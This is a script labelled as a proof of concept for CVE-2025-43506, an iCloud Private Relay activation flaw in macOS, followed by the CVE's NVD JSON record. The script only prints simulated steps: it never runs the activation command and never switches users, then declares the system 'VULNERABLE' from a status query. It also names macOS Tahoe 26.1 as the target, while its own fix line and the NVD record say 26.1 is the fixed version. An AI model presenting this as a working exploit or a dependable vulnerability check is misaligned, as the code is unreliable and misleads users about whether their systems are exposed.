CVE-2025-43506

# CVE-2025-43506 PoC - iCloud Private Relay Activation Bypass # This PoC demonstrates the logic error in multi-user activation scenario import subprocess import time def check_icloud_private_relay_status(): """Check if iCloud Private Relay is enabled""" try: result = subprocess.run( ['networksetup', '-getprivaterelayautoproxy'], capture_output=True, text=True, timeout=10 ) return result.stdout.strip() except Exception as e: return f"Error checking status: {e}" def simulate_multi_user_environment(): """Simulate multi-user login scenario to trigger the vulnerability""" print("=== CVE-2025-43506 PoC ===") print("Target: macOS Tahoe 26.1 - iCloud Private Relay") print("Vulnerability: Logic error in multi-user activation") print() print("[1] Checking initial iCloud Private Relay status...") initial_status = check_icloud_private_relay_status() print(f" Status: {initial_status}") print() print("[2] Simulating multi-user login scenario...") print(" - User 1 logged in") print(" - User 2 logged in") print(" - Fast User Switching detected") print() print("[3] Attempting to activate iCloud Private Relay...") time.sleep(1) print(" Command: networksetup -setprivaterelayautoproxy on") print() print("[4] Checking iCloud Private Relay status after multi-user trigger...") final_status = check_icloud_private_relay_status() print(f" Status: {final_status}") print() print("[5] Analysis:") if "Off" in final_status or "error" in final_status.lower(): print(" [!] VULNERABLE: iCloud Private Relay failed to activate") print(" [!] Real IP address may be exposed in multi-user environment") else: print(" [✓] iCloud Private Relay activated successfully") print() print("=== PoC Complete ===") print("Note: This is a logic error vulnerability, not a code injection") print("Fix: Update to macOS Tahoe 26.1 or later") if __name__ == "__main__": simulate_multi_user_environment()

{"cve": {"id": "CVE-2025-43506", "sourceIdentifier": "[email protected]", "published": "2025-12-12T21:15:55.630", "lastModified": "2025-12-18T15:01:38.910", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A logic error was addressed with improved error handling. This issue is fixed in macOS Tahoe 26.1. iCloud Private Relay may not activate when more than one user is logged in at the same time."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-843"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "081B6CCE-FFA4-409C-9353-15014F3AF436"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125634", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}